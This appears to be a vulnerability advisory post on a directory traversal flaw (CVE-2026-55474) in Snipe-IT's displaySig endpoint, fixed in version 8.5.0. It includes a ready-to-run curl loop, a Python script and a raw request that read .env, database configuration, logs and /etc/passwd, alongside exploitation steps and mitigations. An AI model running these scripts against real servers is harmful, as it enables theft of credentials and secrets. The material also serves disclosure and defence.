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CVE-2026-55474 is a critical directory traversal vulnerability discovered in Snipe-IT, an open-source IT asset and license management system. The flaw resides in the `ActionlogController::displaySig` method, which is responsible for serving signature files associated with action logs. Prior to version 8.5.0, this controller concatenates a user-supplied `filename` parameter directly into a private upload-directory path without any sanitization or validation. This unsafe path construction allows an authenticated attacker to inject directory traversal sequences—such as ../—to escape the intended upload directory and read arbitrary files from the underlying web server’s file system.
The vulnerability stems from improper handling of the route parameter. When a request is made to the `displaySig` endpoint, the application takes the `filename` value from the URL and appends it to a base path (e.g., storage/private_uploads/signatures/). Because the input is not filtered for dangerous patterns, an attacker can craft a request like `../../config/database.php` to traverse up the directory hierarchy. The web server process then reads and returns the contents of the targeted file, leading to unauthorized information disclosure.
Exploitation requires the attacker to have valid authenticated credentials, as the endpoint is protected by Snipe-IT’s authentication middleware. However, once logged in—even with minimal privileges—the attacker can leverage this flaw to access sensitive files. This includes configuration files (e.g., .env, database.php), application source code, backup archives, and other confidential data that the web server user has read permissions for. The vulnerability is particularly dangerous because it can serve as a stepping stone for privilege escalation, lateral movement, or further compromise of the underlying infrastructure.
The issue was addressed in version 8.5.0 by implementing proper input sanitization and validation for the `filename` parameter. The patch likely employs whitelisting of allowed characters, path canonicalization, and strict checks to ensure that the resolved path remains within the intended upload directory. Organizations using Snipe-IT versions prior to 8.5.0 are strongly urged to upgrade immediately or apply mitigations until they can patch.
DailyCVE Form:
Platform: Snipe-IT
Version: < 8.5.0
Vulnerability: Directory Traversal
Severity: Critical
Date: 2026-07-10
Prediction: Already patched in v8.5.0 (2026-05-12)
What Undercode Say: Analytics
The following bash commands and code snippets demonstrate how an attacker can enumerate and exploit this vulnerability.
1. Enumerate accessible files using curl:
List common sensitive files
for file in .env config/database.php storage/logs/laravel.log; do
curl -k -X GET "https://target-snipe.com/actionlog/displaySig?filename=../../../../$file" \
-H "Cookie: snipeit_session=YOUR_SESSION_COOKIE" \
-w "\n[+] $file: %{http_code}\n"
done
2. Python script for automated file reading:
import requests
session = requests.Session()
session.cookies.set('snipeit_session', 'YOUR_SESSION_COOKIE')
base_url = 'https://target-snipe.com/actionlog/displaySig'
traversal = '../../../../'
files_to_read = [
'.env',
'config/database.php',
'storage/logs/laravel.log',
'app/Http/Controllers/ActionlogController.php'
]
for file in files_to_read:
payload = f'{traversal}{file}'
resp = session.get(base_url, params={'filename': payload})
if resp.status_code == 200:
print(f'[+] Content of {file}:\n{resp.text[:500]}...\n')
else:
print(f'[-] Failed to read {file} (status {resp.status_code})')
3. Burp Suite / ZAP request template:
GET /actionlog/displaySig?filename=../../../../etc/passwd HTTP/1.1 Host: target-snipe.com Cookie: snipeit_session=YOUR_SESSION_COOKIE
4. Log analysis – detect suspicious path traversal attempts:
Grep web server logs for directory traversal patterns
grep -E "filename=..." /var/log/nginx/access.log | awk '{print $1, $7}'
How Exploit:
- Authenticate to the Snipe-IT instance using valid credentials (any role with access to the action log functionality).
- Identify the vulnerable endpoint – the `displaySig` route (typically
/actionlog/displaySig). - Craft a malicious request by supplying a `filename` parameter containing path traversal sequences (e.g.,
../../../../etc/passwd). - Send the request – the server concatenates the input to the base upload directory without sanitization.
- Receive the file contents – the server returns the raw content of the targeted file, allowing the attacker to read sensitive data.
- Iterate over different files to gather credentials, source code, or other confidential information.
Protection:
- Immediate upgrade to Snipe-IT version 8.5.0 or later, which contains the official fix.
- If unable to upgrade, apply a temporary workaround by modifying the `ActionlogController::displaySig` method to validate the `filename` against a whitelist of allowed characters and ensure the resolved path stays within the upload directory using `realpath()` or similar canonicalization functions.
- Restrict file system permissions – ensure the web server user has the minimum necessary read permissions, and store sensitive configuration files outside the web root where possible.
- Deploy a Web Application Firewall (WAF) with rules to detect and block path traversal patterns (
../,..\,%2e%2e%2f, etc.) in request parameters. - Enable comprehensive logging and monitor for unusual file access patterns, especially requests containing `../` or similar sequences.
- Conduct a security audit to identify any other instances of unsanitized user input in file system operations.
Impact:
- Confidentiality Breach – An authenticated attacker can read arbitrary files accessible to the web server process, including:
- Application environment files (
.env) containing database credentials, API keys, and secrets. - Database configuration files, leading to potential database compromise.
- Source code, exposing business logic and additional vulnerabilities.
- System files (e.g.,
/etc/passwd,/proc/self/environ) if the server is misconfigured. - Privilege Escalation – Leaked credentials or configuration data may allow the attacker to gain higher-level access to the application or underlying infrastructure.
- Lateral Movement – Information gathered can be used to pivot to other systems or services within the network.
- Reputational Damage – Data breaches resulting from this vulnerability can harm an organization’s credibility and lead to regulatory fines.
- Compliance Violations – Exposure of personally identifiable information (PII) or protected health information (PHI) may violate GDPR, HIPAA, or other data protection regulations.
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Sources:
Reported By: nvd.nist.gov
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